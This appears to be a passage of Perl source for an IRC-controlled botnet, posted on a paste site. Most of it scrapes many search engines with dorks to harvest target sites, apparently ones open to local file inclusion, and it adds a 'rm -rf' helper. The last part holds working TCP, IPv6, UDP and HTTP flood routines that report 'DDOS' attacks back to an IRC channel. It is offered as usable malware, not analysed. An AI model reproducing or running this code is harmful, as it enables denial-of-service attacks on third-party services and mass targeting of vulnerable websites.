- my $name = $_[1];
- my $atest = ("http://it.altavista.com/web/results?itag=ody&q=".key($dork)."&kgs=0&kls=1");
- my $re = query($atest);
- if ($re =~ /Sono stati trovati 0 risultati/) {
- return @list;
- }
- else {
- for ($i = 0;$i <= 1000;$i += 50){
- my $alink = ("http://it.altavista.com/web/results?itag=ody&kgs=0&q=".key($dork)."&stq=".$i);
- my $re = query($alink);
- while ($re =~ m/<span class=ngrn>(.+?)<\/span>/g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- sub google () {
- my @gsites;
- my $key = $_[0];
- my $name = $_[1];my $file = "lfi".int(rand(900)).".txt";
- my $gtest = ("www.google.com/search?q=hi&hl=en&start=10&sa=N");
- my $ret = query($gtest);
- if ($ret =~ /2008 Google/) {
- @gsites = gfind($key,$name);
- }
- else {
- @gsites = gbypass($key,$name);
- }
- return @gsites;
- }
- sub interia() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 0;$i <= 10;$i += 1) {
- my $mlink = ( "http://www.google.interia.pl/szukaj?q=".key($dork)."&s=szukaj&w=sw&szukaj=&p=".$i);
- my $re = query($mlink);
- while ($re =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub work() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 1;$i <= 10;$i += 1) {
- my $mlink = ( "http://netmenu.metaseek.nl/search/web/".$i."/".key($dork));
- my $re = query($mlink);
- while ($re =~ m/<a target=_blank href=\"http:\/\/(.+?)\//g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub work2() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 0;$i <= 80;$i += 1) {
- my $mlink = ( "http://search.walla.co.il/?t=0&e=utf&q=".key($dork)."&p=".$i);
- my $re = query($mlink);
- while ($re =~ m/<td class=sw><a href=\"http:\/\/(.*?)\//g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub work3() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 0;$i <= 990;$i += 10) {
- my $mlink = ( "http://search1.rediff.com/dirsrch/default.asp?MT=".key($dork)."&iss=&submit=Search&firstres=".$i);
- my $re = query($mlink);
- while ($re =~ m/onmousedown=\"return enc\(this\, \'http:\/\/(.*?)\//g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- #google/msn
- sub msn() {
- my $dork = $_[0];
- my $name = $_[1];
- my @dome = ("pl-PL","ar-XA","en-XA","es-AR","fr-BE","de-DE","ja-JP","ru-RU","cz-CZ");
- foreach $dom(@dome){
- for ($i = 1;$i <= 100;$i += 10) {
- my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=".$dom."&scope=&first=".$i."&FORM=PERE" );
- my $re = query($mlink);
- while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $h = $1;
- if ($h !~ /msn|live/ ) {
- push(@sgrep,$h);
- }
- }
- }}
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub msnde() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 1;$i <= 800;$i += 10) {
- my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=de-de&scope=&first=".$i."&FORM=PERE" );
- my $re = query($mlink);
- while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $h = $1;
- if ($h !~ /msn|live/ ) {
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub msnbe() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 1;$i <= 800;$i += 10) {
- my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=nl-be&scope=&first=".$i."&FORM=PERE" );
- my $re = query($mlink);
- while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $h = $1;
- if ($h !~ /msn|live/ ) {
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub onet() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 0;$i <= 50;$i += 1) {
- my $mlink = ( "http://szukaj.onet.pl/query.html?qt=".key($dork)."&p=".$i);
- my $re = query($mlink);
- while ($re =~ m/<span class=\"?clurl\"?>http:\/\/(.+?)\//g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub szukacz() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 0;$i <= 400;$i += 20) {
- my $mlink = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&enc=iso-8859-2&q=".key($dork)."&start=".$i);
- my $re = query($mlink);
- while ($re =~ m/<a title=\"?http:\/\/(.+?)\//g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub msnfr() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 1;$i <= 800;$i += 10) {
- my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=fr-fr&scope=&first=".$i."&FORM=PERE" );
- my $re = query($mlink);
- while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $h = $1;
- if ($h !~ /msn|live/ ) {
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub msncz() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 1;$i <= 800;$i += 10) {
- my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=cs-cz&scope=&first=".$i."&FORM=PERE" );
- my $re = query($mlink);
- while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $h = $1;
- if ($h !~ /msn|live/ ) {
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub msnch() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 1;$i <= 800;$i += 10) {
- my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=de-ch&scope=&first=".$i."&FORM=PERE" );
- my $re = query($mlink);
- while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $h = $1;
- if ($h !~ /msn|live/ ) {
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub yahoo() {
- my @ysites;
- my $dork = $_[0];
- my $name = $_[1];
- my $ytest = ("http://search.yahoo.com/search?p=".key($dork)."&fr=yfp-t-501&ei=UTF-8&rd=r1");
- my $re = query($ytest);
- if ($re =~ /We did not find results for: <strong>/) {
- return @ysites;
- }
- elsif ($re =~ /Yahoo! Search results/) {
- @ysites = yfind($dork,$name);
- return @ysites;
- }
- else {
- writ1("1Banned by Yahoo Engine, BYPASS started!");
- @ysites = ybypass($dork,$name);
- return @ysites;
- }
- }
- sub yfind() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 1;$i <= 901;$i += 100) {
- my $ylink = ("http://search.yahoo.com/search?p=".key($dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vd=all&vst=0&vf=all&vm=r&fl=0&fr=yfp-t-501&pstart=1&b=".$1);
- my $re = query($ylink);
- while ($re =~ m/<a class=\"yschttl\" href=\"http:\/\/(.+?)\" >/g) {
- my $h = $1;
- if ($h !~ /yahoo|<|>/) {
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub ybypass() { # GoodSearch uses the same search type of Yahoo
- my $dork = $_[0];
- my $name = $_[1];
- my $ybytest = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($dork)."&page=1&osmax=16");
- my $re = query($ybytest);
- if ($re =~ /Your search did not yield any results/){
- return @list;
- }
- else {
- for $i(1..50){
- my $ybylink = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($dork)."&page=".$i."&osmax=16");
- my $re = query($ybylink);
- while ($re =~ m/href=\"(.+?)\">(.+?)<\/a>/g) {
- my $h = $2;
- if (($h =~ /\./) && ($h !~ /<|>| /)){
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- sub gigablast() {
- my $dork = $_[0];
- my $name = $_[1];
- my $gtest = ("http://www.gigablast.com/index.php?n=10&k5p=215334&q=".key($dork)."&submit.x=0&submit.y=0");
- my $re = query($gtest);
- if ($re =~ /No results found for/){
- return @list;
- }
- else {
- for ($i = 0; $i <= 1000; $i += 10) {
- my $glink = ("http://www.gigablast.com/index.php?q=".key($dork)."&submit_x=929&submit_y=168&k9j=686621&s=".$i."&n=10&");
- my $re = query($glink);
- while ($re =~ m/href=\"http:\/\/(.+?)\">/g) {
- my $h = $1;
- if ($h !~ /web\.archive|gigablast/){
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- sub ask() {
- my $dork = $_[0];
- my $name = $_[1];
- my $atest = ("http://it.ask.com/web?q=".key($dork)."&qsrc=1&o=312&l=dir&dm=all");
- my $re = query($atest);
- if ($re =~ /non ha prodotto alcun risultato/) {
- return @list;
- }
- else {
- for ($i = 0;$i <= 20;$i ++){
- my $alink = ("http://it.ask.com/web?q=".key($dork)."&o=0&l=dir&qsrc=0&qid=612B74535B00F6CA7678625658F9B98C&dm=all&page=".$i);
- my $re = query($alink);
- while($re =~ m/href=\"http:\/\/(.+?)\"/g){
- my $h = $1;
- if ($h !~ /ask|wikipedia/){
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- ## Aol doesn't work, don't know why. When i try to make a http request on aol host, this is the message that i received: You don't have permission to access /aol/search
- ## Don't know hot to fix it :S Anyway you have here the sub, so you can try to fix this problem
- sub aol() {
- my $dork = $_[0];
- my $name = $_[1];
- my $atest = ("http://search.aol.com/aol/search?invocationType=topsearchbox.search&query=".key($dork));
- my $re = query($atest);
- if ($re =~ /returned no results\.<\/h3>/) {
- return @list;
- }
- else {
- for $i(1..100){
- my $alink = ("http://search.aol.com/aol/search?query=".key($dork)."&page=".$i."&nt=SG2&do=Search&invocationType=comsearch30&clickstreamid=3154480101243260576");
- my $re = query($alink);print "$re\n";
- while($re =~ m/\"deleted\" property=\"f:url\">http:\/\/(.+?)<\/p>/g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- sub dmoz() {
- my $dork = $_[0];
- my $name = $_[1];
- my $dtest = ("http://search.dmoz.org/cgi-bin/search?search=".key($dork));
- my $re = query($dtest);
- if ($re =~ m/No <b><a href=\"http:\/\/dmoz.org\/\">Open Directory Project<\/a><\/b> results found/g){
- return @list;
- }
- elsif ($re =~ /of (.+?)\)<p>/){
- my $ftot = $1;
- if ($ftot <= 20) {
- $max = 1;
- }
- else {
- my $to = $ftot / 20;
- if ($to =~ /(.+).(.+?)/){
- $uik = $1 * 20;
- $max = $uik +1;
- }
- elsif ($to =~ /[0-9]/) {
- my $to--;
- my $rej = $to * 20;
- $max = $rej +1;
- }
- }
- }
- for ($i = 1;$i <= $max;$i += 20){
- my $dlink = ("http://search.dmoz.org/cgi-bin/search?search=".key($dork)."&utf8=1&locale=it_it&start=".$i);
- my $re = query($dlink);
- while($re =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- my $h = $1;
- if ($h !~ /dmoz/){
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub webde() {
- my $dork = $_[0];
- my $name = $_[1];
- for $i(1..50){
- my $wlink = ("http://suche.web.de/search/web/?pageIndex=".$i."&su=".key($dork)."&y=0&x=0&mc=suche@web@[email protected]@web");
- my $re = query($wlink);
- while($re =~ m/href=\"http:\/\/(.+?)\">/g) {
- my $h = $1;
- if ($h !~ /\/search\/web|web.de|\" class=\"neww\"/){
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub einet() {
- my $dork = $_[0];
- my $name = $_[1];
- my $etest = ("http://www.einet.net/view/search.gst?p=1&k=".key($dork)."&s=0&submit=Search");
- my $re = query($etest);
- if ($re =~ /<span class=nPage>Page 1 of\s+(.+?)<\/span>/){
- my $tot = $1;
- for ($i = 1;$i <= $tot;$i++){
- my $elink = ("http://www.einet.net/view/search.gst?p=".$i."&k=".key($dork)."&s=0&submit=Search");
- my $re = query($elink);
- while($re =~ m/<span class=url2>\s+(.+?)<\/span>/g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub uol() {
- my $dork = $_[0];
- my $name = $_[1];
- my $utest = ("http://busca.uol.com.br/www/index.html?q=".key($dork)."&ad=on");
- my $re = query($test1);
- if ($re =~ /n??o retornou nenhum resultado/) {
- return @list;
- }
- else {
- for($i = 0;$i <= 360;$i +=10) {
- my $uollink = ("http://busca.uol.com.br/www/index.html?ad=on&q=".key($dork)."&start=".$i);
- my $re = query($uollink);
- while($re =~ m/<dt><a href=\"http:\/\/(.+?)\">/g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- sub abacho() {
- my $dork = $_[0];
- my $name = $_[1];
- my $atest = ("http://search.abacho.com/it/abacho.it/index.cfm?q=".key($dork)."&country=it&x=0&y=0");
- my $re = query($atest);
- if ($re =~ /We didn't find any results matching your query/) {
- return @list;
- }
- else {
- for ($i = 0;$i <= 1000; $i += 10) {
- my $alink = ("http://search.abacho.com/it/abacho.it/index.cfm?offset=".$i."&poffset=0&StartCounter=".$i."&q=".key($dork)."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=");
- my $re = query($alink);
- while ($re =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- sub trovatore() {
- my $dork = $_[0];
- my $name = $_[1];
- my $ttest = ("http://213.215.201.230/search.jsp?query=".key($dork)."&langselect=all&hitsPerPage=10&hitsPerSite=1&clustering=&filterResults=null&start=0");
- my $re = query($ttest);
- if ($re =~ /Risultati <b>0-0<\/b>/) {
- return @list;
- }
- else {
- for ($i = 0;$i <= 2500; $i += 10) {
- my $tlink = ("http://213.215.201.230/search.jsp?query=".key($dork)."&langselect=all&hitsPerPage=10&hitsPerSite=1&clustering=&filterResults=null&start=".$i);
- my $re = query($tlink);
- while($re =~ m/<a href=\"http:\/\/(.+?)\">/g) {
- my $h = $1;
- if ($h !~ /iltrovatore\.it|213\.215\.201\.230|microsoft|wikipedia/){
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- sub lycos() {
- my $dork = $_[0];
- my $name = $_[1];
- my $ltest = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=0&query=".key($dork)."&cat=web&enc=utf-8&xargs=");
- my $re = query($ltest);
- if ($re =~ /non ha avuto esito positivo tra/) {
- return @list;
- }
- else {
- for $i(0..79) {
- my $llink = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$i."&query=".key($dork)."&cat=web&enc=utf-8");
- my $re = query($llink);
- while($re =~ m/title=\"\" >http:\/\/(.+?)<\/a>/g) {
- my $h = $1;
- if ($h !~ /youtube|google|wikipedia|microsoft/){
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- sub walhello() {
- my $dork = $_[0];
- my $name = $_[1];
- my $wtest = ("http://www.walhello.info/search?key=".key($dork)."&taal=a&nummer=0&&web=no&&vert=2&");
- my $re = query($wtest);
- if ($re =~ /Verzeihung, Nichts gefunden/) {
- return @list;
- }
- else {
- for $i(0..99) {
- my $wlink = ("http://www.walhello.info/search?key=".key($dork)."&taal=a&nummer=".$i."&&web=no&&vert=2&");
- my $re = query($wlink);
- while($re =~ m/<a href=http:\/\/(.+?)>/g) {
- my $h = $1;
- if ($h !~ /walhello|microsoft|wikipedia/){
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- sub virgilio() {
- my $dork = $_[0];
- my $name = $_[1];
- my $vtest = ("http://ricerca.alice.it/ricerca?qs=".key($dork)."&Cerca=&lr=");
- my $re = query($vtest);
- if ($re =~ /<span>Controlla che tutte le parole siano state digitate correttamente<\/span>/) {
- return @list;
- }
- else {
- for ($i = 0;$i <= 800; $i += 10) {
- my $vlink = ("http://ricerca.alice.it/ricerca?qs=".key($dork)."&filter=1&site=&lr=&hits=10&offset=".$i);
- my $re = query($vlink);
- while($re =~ m/<span><a href=\"http:\/\/(.+?)\">/g) {
- my $h = $1;
- if ($h !~ /microsoft|wikipedia/){
- push(@sgrep,$h);
- }
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- }
- sub onet() {
- my $dork = $_[0];
- my $name = $_[1];
- for ($i = 0;$i <= 25;$i += 1) {
- my $mlink = ( "http://szukaj.onet.pl/query.html?qt=".key($dork)."&p=".$i);
- my $re = query($mlink);
- while ($re =~ m/<span class=\"?clurl\"?>http:\/\/(.+?)\//g) {
- my $h = $1;
- push(@sgrep,$h);
- }
- }
- my @list = fprint($name,@sgrep);
- return @list;
- }
- sub links() {
- my @l;
- my $link=$_[0];
- push(@l,$link);
- return @l;
- }
- sub fprint() {
- my($name,@sgrep) = @_;
- my @list;
- foreach my $n(@sgrep) {
- my @grep = &links($n);
- push(@list,@grep);
- }
- open($file, ">>", $name);
- foreach my $h(@list) {
- print $file "$h\n";
- }
- close($file);
- return @list;
- }
- sub remove() {
- my $file = @_;
- foreach my $f(@_){
- system("rm -rf $f");
- }
- }
- sub unici {
- my @unici = ();
- my %visti = ();
- foreach my $elemento (@_) {
- $elemento =~ s/\/+/\//g;
- next if $visti{$elemento}++;
- push @unici, $elemento;
- }
- return @unici;
- }
- sub key() {
- my $dork = $_[0];
- $dork =~ s/ /\+/g;
- $dork =~ s/:/\%3A/g;
- $dork =~ s/\//\%2F/g;
- $dork =~ s/&/\%26/g;
- $dork =~ s/\"/\%22/g;
- $dork =~ s/,/\%2C/g;
- $dork =~ s/\\/\%5C/g;
- return $dork;
- }
- sub querys() {
- $link = $_[0];
- my $req = HTTP::Request->new(GET => $link);
- my $ua = LWP::UserAgent->new();
- $ua->timeout(1);
- $ua->agent(@useragents[int(rand(scalar(@useragents)))]);
- my $response = $ua->request($req);
- return $response->content;
- }
- sub query() {
- $link = $_[0];
- my $req = HTTP::Request->new(GET => $link);
- my $ua = LWP::UserAgent->new();
- $ua->timeout(8);
- $ua->agent(@useragents[int(rand(scalar(@useragents)))]);
- my $response = $ua->request($req);
- return $response->content;
- }
- package flood;
- use POSIX;
- use Socket;
- use Socket6;
- ## or..
- #use IO::Socket;
- #use IO::Socket6;
- our $s_time;
- sub tcp {
- irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
- $s_time = time;
- my @SOCKET;
- while ($_[3] > (time - $s_time)) {
- for(my $i=0;$i<200;$i++) {
- socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
- fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
- }
- for(my $i=0;$i<200;$i++) {
- connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
- }
- for(my $i=0;$i<200;$i++) {
- close($SOCKET[$i]);
- }
- }
- irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
- }
- ## here IPv6 flooderrr
- sub tcp6 {
- irc::raw("PRIVMSG $_[0] :\002[TCP IPV6-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
- $s_time = time;
- my @SOCKET6;
- while($_[3] > (time - $s_time)) {
- for(my $i=0;$i<200;$i++) {
- socket6($SOCKET6[$i], PF_INET6, SOCK_STREAM, getprotobyname('tcp'));
- fcntl($SOCKET6[$i], F_SETFL(), O_NONBLOCK());
- }
- for(my $i=0;$i<200;$i++) {
- connect($SOCKET6[$i], sockaddr_in6(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
- }
- for(my $i=0;$i<200;$i++) {
- close($SOCKET6[$i]);
- }
- }
- irc::raw("PRIVMSG $_[0] :\002[TCP IPV6-DDOS]\002 Finished.");
- }
- sub udp {
- irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
- $s_time = time;
- my $socket;
- my $packets = 0;
- socket($socket, PF_INET, SOCK_DGRAM, 17);
- while($_[3] > (time - $s_time)) {
- send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
- $packets++;
- }
- close($socket);
- irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
- }
- sub http {
- irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'Seconds.");
- $s_time = time;
- my $querys = 0;
- while ($_[2] > (time - $s_time)) {
- my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
- print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
- close($socket);
- $querys++;
- }
- irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
- }
- while(1) { if(irc::init(irc::mnick($conf{nicklen}, $conf{fnick}), $conf{fircname}, $conf{frealname}, $conf{server}, $conf{port})) { irc::loop(); } sleep 30; }
Add Comment
Please, Sign In to add comment